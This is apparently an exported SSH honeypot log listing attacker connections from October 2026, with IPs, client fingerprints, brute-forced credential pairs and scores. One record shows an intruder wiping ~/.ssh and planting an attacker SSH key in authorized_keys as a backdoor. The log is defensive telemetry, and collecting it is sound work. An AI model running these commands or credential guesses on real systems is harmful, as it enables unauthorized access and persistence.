Adversarial Observation Interface

116.135.67.93

2026-10-02 15:49:10.301427 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 761ddd49e321

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "761ddd49e321",
  "src_ip": "116.135.67.93",
  "start_time": "2026-10-02T15:49:10.301427Z",
  "end_time": "2026-10-02T15:51:10.319093Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

116.135.67.93

2026-10-02 15:47:56.107290 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2a4a20702829

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "2a4a20702829",
  "src_ip": "116.135.67.93",
  "start_time": "2026-10-02T15:47:56.107290Z",
  "end_time": "2026-10-02T15:49:56.119959Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

116.135.67.93

2026-10-02 15:46:42.083566 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 80330ac44bc5

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "80330ac44bc5",
  "src_ip": "116.135.67.93",
  "start_time": "2026-10-02T15:46:42.083566Z",
  "end_time": "2026-10-02T15:48:42.128043Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

116.135.67.93

2026-10-02 15:45:27.983225 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: baae6d4ef692

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "baae6d4ef692",
  "src_ip": "116.135.67.93",
  "start_time": "2026-10-02T15:45:27.983225Z",
  "end_time": "2026-10-02T15:47:28.016139Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

116.135.67.93

2026-10-02 15:44:13.632557 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2aa3e857bf0f

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "2aa3e857bf0f",
  "src_ip": "116.135.67.93",
  "start_time": "2026-10-02T15:44:13.632557Z",
  "end_time": "2026-10-02T15:46:13.662905Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

116.135.67.93

2026-10-02 15:42:57.834804 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0827aa24b1f0

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "0827aa24b1f0",
  "src_ip": "116.135.67.93",
  "start_time": "2026-10-02T15:42:57.834804Z",
  "end_time": "2026-10-02T15:44:57.849037Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

116.135.67.93

2026-10-02 15:41:42.217820 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7eb1a7e9e36e

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "7eb1a7e9e36e",
  "src_ip": "116.135.67.93",
  "start_time": "2026-10-02T15:41:42.217820Z",
  "end_time": "2026-10-02T15:43:42.233418Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

2.57.121.112

2026-10-02 15:41:31.547211 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: ami

Record ID: cf61898382bc

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.6s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "cf61898382bc",
  "src_ip": "2.57.121.112",
  "start_time": "2026-10-02T15:41:31.547211Z",
  "end_time": "2026-10-02T15:41:38.118067Z",
  "duration": "6.6",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "ami",
      "pass": "ami"
    },
    {
      "user": "ami",
      "pass": "ami1"
    },
    {
      "user": "ami",
      "pass": "ami123"
    },
    {
      "user": "ami",
      "pass": "ami1234"
    },
    {
      "user": "ami",
      "pass": "ami12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

193.46.255.86

2026-10-02 15:41:16.325951 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (3 distinct queries). Vector identities: odoo

Record ID: 0359ecc0e189

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 4.2s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "0359ecc0e189",
  "src_ip": "193.46.255.86",
  "start_time": "2026-10-02T15:41:16.325951Z",
  "end_time": "2026-10-02T15:41:20.503293Z",
  "duration": "4.2",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "odoo",
      "pass": "odoo"
    },
    {
      "user": "odoo",
      "pass": "admin"
    },
    {
      "user": "odoo",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

116.135.67.93

2026-10-02 15:40:23.958146 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6f55fd559504

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "6f55fd559504",
  "src_ip": "116.135.67.93",
  "start_time": "2026-10-02T15:40:23.958146Z",
  "end_time": "2026-10-02T15:42:23.984144Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

116.135.67.93

2026-10-02 15:39:10.182823 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ffcdedc2e1ba

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "ffcdedc2e1ba",
  "src_ip": "116.135.67.93",
  "start_time": "2026-10-02T15:39:10.182823Z",
  "end_time": "2026-10-02T15:41:10.209221Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

116.135.67.93

2026-10-02 15:37:57.466163 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 12c69fdf6070

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "12c69fdf6070",
  "src_ip": "116.135.67.93",
  "start_time": "2026-10-02T15:37:57.466163Z",
  "end_time": "2026-10-02T15:39:57.479758Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

116.135.67.93

2026-10-02 15:36:45.032534 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8cd3bc624d16

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "8cd3bc624d16",
  "src_ip": "116.135.67.93",
  "start_time": "2026-10-02T15:36:45.032534Z",
  "end_time": "2026-10-02T15:38:45.038159Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

95.174.112.201

2026-10-02 15:36:44.301157 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 69f1d2d0c2b8

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "69f1d2d0c2b8",
  "src_ip": "95.174.112.201",
  "start_time": "2026-10-02T15:36:44.301157Z",
  "end_time": "2026-10-02T15:36:44.304794Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

116.135.67.93

2026-10-02 15:35:28.838606 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e18b4324bee1

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "e18b4324bee1",
  "src_ip": "116.135.67.93",
  "start_time": "2026-10-02T15:35:28.838606Z",
  "end_time": "2026-10-02T15:37:28.853506Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

95.174.112.201

2026-10-02 15:35:18.907110 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4a0b1d5efde3

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "4a0b1d5efde3",
  "src_ip": "95.174.112.201",
  "start_time": "2026-10-02T15:35:18.907110Z",
  "end_time": "2026-10-02T15:35:18.910481Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

116.135.67.93

2026-10-02 15:34:14.058239 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d420d9d07f78

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "d420d9d07f78",
  "src_ip": "116.135.67.93",
  "start_time": "2026-10-02T15:34:14.058239Z",
  "end_time": "2026-10-02T15:36:14.089137Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

116.135.67.93

2026-10-02 15:32:54.582927 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d17b0478629f

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "d17b0478629f",
  "src_ip": "116.135.67.93",
  "start_time": "2026-10-02T15:32:54.582927Z",
  "end_time": "2026-10-02T15:34:54.588036Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

116.135.67.93

2026-10-02 15:31:40.865188 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 020af352f3aa

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "020af352f3aa",
  "src_ip": "116.135.67.93",
  "start_time": "2026-10-02T15:31:40.865188Z",
  "end_time": "2026-10-02T15:33:40.917794Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

116.135.67.93

2026-10-02 15:30:25.329432 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 83526e9e5859

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "83526e9e5859",
  "src_ip": "116.135.67.93",
  "start_time": "2026-10-02T15:30:25.329432Z",
  "end_time": "2026-10-02T15:32:25.360110Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

116.135.67.93

2026-10-02 15:29:07.138392 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 3a5e20bb3d71

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "3a5e20bb3d71",
  "src_ip": "116.135.67.93",
  "start_time": "2026-10-02T15:29:07.138392Z",
  "end_time": "2026-10-02T15:31:07.152088Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

80.94.95.118

2026-10-02 15:27:00.515576 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / admin

Record ID: e951112c493c

Client Version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3

Engagement Duration: 13.9s

HASSH Fingerprint: 390ffe68a68c2a2891210413e80689fa

{
  "id": "e951112c493c",
  "src_ip": "80.94.95.118",
  "start_time": "2026-10-02T15:27:00.515576Z",
  "end_time": "2026-10-02T15:27:14.450917Z",
  "duration": "13.9",
  "version": "SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3",
  "hassh": "390ffe68a68c2a2891210413e80689fa",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "admin"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

116.135.67.93

2026-10-02 15:22:47.784433 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: luo

Record ID: e113ba2e2510

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 4.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "e113ba2e2510",
  "src_ip": "116.135.67.93",
  "start_time": "2026-10-02T15:22:47.784433Z",
  "end_time": "2026-10-02T15:22:52.219702Z",
  "duration": "4.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "luo",
      "pass": "luo"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.121.25

2026-10-02 15:21:22.136886 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / iloveu2

Record ID: 45ba74a4bac5

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "45ba74a4bac5",
  "src_ip": "2.57.121.25",
  "start_time": "2026-10-02T15:21:22.136886Z",
  "end_time": "2026-10-02T15:21:28.144720Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "iloveu2"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

149.107.237.64

2026-10-02 15:20:01.279048 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0c7ec0d4ef7d

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "0c7ec0d4ef7d",
  "src_ip": "149.107.237.64",
  "start_time": "2026-10-02T15:20:01.279048Z",
  "end_time": "2026-10-02T15:20:01.282497Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

149.107.237.64

2026-10-02 15:18:37.913984 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 47bf63c19706

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "47bf63c19706",
  "src_ip": "149.107.237.64",
  "start_time": "2026-10-02T15:18:37.913984Z",
  "end_time": "2026-10-02T15:18:37.917350Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

188.170.120.122

2026-10-02 15:18:20.806126 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6964dfa9da90

Client Version: SSH-2.0-OPENSSH_7.9

Engagement Duration: 0.8s

HASSH Fingerprint: b21d7cdcc8133dc2b430d1a039fece20

{
  "id": "6964dfa9da90",
  "src_ip": "188.170.120.122",
  "start_time": "2026-10-02T15:18:20.806126Z",
  "end_time": "2026-10-02T15:18:21.616478Z",
  "duration": "0.8",
  "version": "SSH-2.0-OPENSSH_7.9",
  "hassh": "b21d7cdcc8133dc2b430d1a039fece20",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

128.199.145.5

2026-10-02 15:17:55.995115 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: consultor

Record ID: 18cb43da4fb0

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "18cb43da4fb0",
  "src_ip": "128.199.145.5",
  "start_time": "2026-10-02T15:17:55.995115Z",
  "end_time": "2026-10-02T15:17:58.425831Z",
  "duration": "2.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "consultor",
      "pass": "consultor"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

209.61.6.25

2026-10-02 15:17:22.132713 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4b6fe62ccc30

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "4b6fe62ccc30",
  "src_ip": "209.61.6.25",
  "start_time": "2026-10-02T15:17:22.132713Z",
  "end_time": "2026-10-02T15:17:22.135919Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

120.48.124.81

2026-10-02 15:17:19.529834 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: ba9e33a6b0a1

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.5s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "ba9e33a6b0a1",
  "src_ip": "120.48.124.81",
  "start_time": "2026-10-02T15:17:19.529834Z",
  "end_time": "2026-10-02T15:17:21.040790Z",
  "duration": "1.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

120.48.124.81

2026-10-02 15:17:17.230340 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: d5fb6371b6f1

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d5fb6371b6f1",
  "src_ip": "120.48.124.81",
  "start_time": "2026-10-02T15:17:17.230340Z",
  "end_time": "2026-10-02T15:17:19.364255Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

120.48.124.81

2026-10-02 15:17:13.958211 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 100200

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: d90d66b535ba

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 7.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d90d66b535ba",
  "src_ip": "120.48.124.81",
  "start_time": "2026-10-02T15:17:13.958211Z",
  "end_time": "2026-10-02T15:17:21.037036Z",
  "duration": "7.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "100200"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

128.199.145.5

2026-10-02 15:16:19.848993 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: tst

Record ID: 22e4be15b4a9

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "22e4be15b4a9",
  "src_ip": "128.199.145.5",
  "start_time": "2026-10-02T15:16:19.848993Z",
  "end_time": "2026-10-02T15:16:22.266553Z",
  "duration": "2.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "tst",
      "pass": "tst"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

209.61.6.25

2026-10-02 15:15:52.278465 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6fa8b814a909

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "6fa8b814a909",
  "src_ip": "209.61.6.25",
  "start_time": "2026-10-02T15:15:52.278465Z",
  "end_time": "2026-10-02T15:15:52.281867Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

128.199.145.5

2026-10-02 15:14:44.529746 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: devops

Record ID: 845810ba052b

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "845810ba052b",
  "src_ip": "128.199.145.5",
  "start_time": "2026-10-02T15:14:44.529746Z",
  "end_time": "2026-10-02T15:14:46.869716Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "devops",
      "pass": "Password123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

201.149.53.243

2026-10-02 15:14:19.390892 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: student

Record ID: 509620ed56bc

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "509620ed56bc",
  "src_ip": "201.149.53.243",
  "start_time": "2026-10-02T15:14:19.390892Z",
  "end_time": "2026-10-02T15:14:20.750926Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "student",
      "pass": "student@123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

130.12.180.51

2026-10-02 15:13:59.519974 UTC

SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 120

Credential acceptance event recorded. Target authentication: admin / admin

Remote entity achieved interactive shell state. Command sequence (1 executed):

